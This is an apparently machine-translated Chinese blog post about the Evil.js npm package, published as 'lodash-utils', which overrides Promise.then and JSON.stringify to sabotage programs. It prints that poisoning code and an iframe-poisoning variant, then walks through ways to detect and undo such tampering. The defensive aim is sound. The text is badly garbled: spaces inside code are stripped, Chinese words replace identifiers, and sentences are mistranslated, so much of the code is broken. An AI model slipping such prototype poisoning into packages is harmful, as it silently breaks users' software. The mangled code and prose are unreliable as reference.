最近,Evil.js被讨论得很多。项目介绍如下。该项目在npm上发布后,引起热议。最后因为安全问题被npm官方移除,代码也被关闭。作为一个前端老司机,我肯定有很多方法来反对这种行为,发泄个人的愤怒。代码中的中毒会被gitlog发现。作为项目负责人,如何识别这种代码中毒?中毒了,把里面的I换成了l。每周日承诺的then方法有10%的概率不被触发。只能在星期天触发有点遗憾。而且npm注册的是lodash-utils,看来确实是个正经库,结果中毒函数isEvilTime(){returnnewDate().getDay()===0&&Math.random()<0.1}const_then=Promise.prototype.thenPromise.prototype.then=functionthen(...args){if(isEvilTime()){return}else{_then.call(this,...args)}}const_stringify=JSON.stringifyJSON.stringify=functionstringify(...args){return_stringify(...args).replace(/I/g,'l')}console.log(JSON.stringify({name:'Ill'}))//{"name":"lll"}复制代码检测函数toString检测函数是否被原型链投毒。我想到的第一个方法是检测代码的toString。默认的全局方法是内置的。让我们在命令行上执行它。我们可以简单粗略的查看一下functionisNative(fn){returnfn.toString()===function${fn.name}(){[nativecode]}}console.log(isNative(JSON.parse))//trueconsole.log(isNative(JSON.stringify))//false复制代码但是我们可以直接重写函数的toString方法,返回原生字符串,所以可以跳过这个检查JSON.stringify=...JSON.stringify.toString=function(){returnfunctionstringify(){[nativecode]}}functionisNative(fn){returnfn.toString()===function${fn.name}(){[nativecode]}}console.log(isNative(JSON.stringify))//true复制代码iframe我们也可以在浏览器中通过iframe创建一个隔离窗口,iframe加载到body后,获取contentWindowlet在iframe中iframe=document.createElement('iframe')iframe.style.display='none'document.body.appendChild(iframe)let{JSON:cleanJSON}=iframe.contentWindowconsole.log(cleanJSON.stringify({name:'illl'}))//'{"name":"Illl"}'复制代码该方案对运行环境有要求,iframe只能在浏览器中使用,如果攻击者足够聪明,iframe方案也可以中毒,重写appendChild函数,当加载的标签是iframe时,重写contentWindow的stringify方法const_stringify=JSON.stringifyletmyStringify=JSON.stringify=functionstringify(...args){return_stringify(...args).replace(/I/g,'l')}//注入const_appenChild=document.body.appendChild.bind(document.body)document.body.appendChild=function(child){_appenChild(child)if(child.tagName.toLowerCase()==='iframe'){//污染iframe。contentWindow.JSON.stringify=myStringify}}//iframe被污染了.contentWindowconsole.log(cleanJSON.stringify({name:'Illl'}))//'{"name":"llll"}'复制代码Node的vm模块节点也可以通过vm模块创建沙箱运行代码,教程可以看这里,但是这样对我们的代码侵入性太大,适合发现bug后调试特定的一段代码,不能直接在浏览器中使用constvm=require('vm')const_stringify=JSON.stringifyJSON.stringify=functionstringify(...args){return_stringify(...args).replace(/I/g,'l')}console.log(JSON.stringify({name:'Illl'}))letsandbox={}vm.runInNewContext(ret=JSON.stringify({name:'Illl'}),sandbox)console.log(sandbox)复制代码ShadowRealmAPITC39有一个新的ShadowRealmapi,已经是stage3,可以手动创建一个隔离的js运行环境,被认为是下一代微前端的利器,但是现在兼容性不是很好,代码看起来有点像eval,其实是一样的作为虚拟机问题,您需要我们指定某段代码执行更多的ShadowRealm细节,请参考何老的回答HowtoevaluateECMAScript'sShadowRealmAPIproposalconstsr=newShadowRealm()console.log(sr.evaluate(JSON.stringify({name:'Illl'})))复制代码Object.freeze我们也可以直接在项目代码入口处使用Object.freeze冻结相关函数,保证不被修改,所以下面的代码会打印出{"name":"illl"},但是有些框架会对原型链做适当的修改(比如Vue2中对数组的处理),我们在修改stringify失败的时候没有任何提示,所以这个方法要慎用,这可能会导致您的项目出现错误!(global=>{//Object.freeze(global.JSON);['JSON','Date'].forEach(n=>Object.freeze(global[n]));['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))})((0,eval)('this'))//Poisonconst_stringify=JSON.stringifyletmyStringify=JSON.stringify=functionstringify(...args){return_stringify(...args).replace(/I/g,'l')}//使用console.log(JSON.stringify({name:'Ill'}))复制还有一种代码备份检测的方法非常简单,实用性和兼容性适中。我们可以在项目启动之初备份一些重要的函数,比如Promise、Array原型链方法、JSON.stringify、fetch、localstorage.getItem等方法,然后在需要的时候运行检测函数,判断是否是Promise.prototype.then等于我们备份的内容,然后我们就可以判断原型链是否被污染了。我真的有点小聪明。首先,我们需要备份相关函数,因为我们不需要检查很多,所以我们不需要检查window已经遍历过了,指定了几个重要的api函数,都存储在_snapshots对象中//这段代码必须在项目开始时执行!(global=>{constMSG='可能被篡改,小心哦'constinBrowser=typeofwindow!=='undefined'const{JSON:{parse,stringify},setTimeout,setInterval}=globallet_snapshots={JSON:{解析,stringify},setTimeout,setInterval,fetch}if(inBrowser){let{localStorage:{getItem,setItem},fetch}=global_snapshots.localStorage={getItem,setItem}_snapshots.fetch=fetch}})((0,eval)('this'))除了直接调用JSON、setTimeout和原型链上的Promise、Array等方法外,复制代码,我们可以通过getOwnPropertyNames获取,并备份到_protytypes中,例如,Promise.prototype.then中存储的结果为,Array,Date,Object,Number,String'.split(",")names.forEach(name=>{letfns=Object.getOwnPropertyNames(global[name].prototype)fns.forEach(fn=>{_protytypes[`${name}.${fn}`]=global[name].prototype[fn]})})console.log(_protytypes)})((0,eval)('this'))复制代码然后我们就可以在全局注册一个检测函数checkNative。_snapshot和_prototype中存储的内容会被遍历并与当前运行时得到的JSON进行比较,Promise.prototype.then就可以了,我们有备份。我们也可以加一个reset参数,直接把被污染的函数还原回来。代码比较粗糙。让我们凑合着用吧。函数只是两层嵌套,不是完全递归,欢迎直接暴力循环。Global.checkNative=function(reset=false){for(constpropin_snapshots){if(_snapshots.hasOwnProperty(prop)&&prop!=='length'){letobj=_snapshots[prop]//setTimeout顶级if(typeofobj==='function'){constisEqual=_snapshots[prop]===global[prop]if(!isEqual){console.log(`${prop}${MSG}`)if(重置){window[prop]=_snapshots[prop]}}}else{//JSON还有一个内层apifor(constkeyinobj){constisEqual=_snapshots[prop][key]===global[prop][key]if(!isEqual){console.log(`${prop}.${key}${MSG}`)if(reset){window[prop][key]=_snapshots[prop][key]}}}}}}//原型链names.forEach(name=>{letfns=Object.getOwnPropertyNames(global[name].prototype)fns.forEach(fn=>{constisEqual=global[name].prototype[fn]===_protytypes[`${name}.${fn}`]if(!isEqual){console.log(`${name}.prototype.${fn}${MSG}`)if(reset){global[name].prototype[fn]=_protytypes[`${name}.${fn}`]}}})})}复制代码测试一下代码,可以看到checkNative将reset设置为true后,打印并重置了我们被污染的函数,JSON.stringify的行为也符合我们的预期复制代码
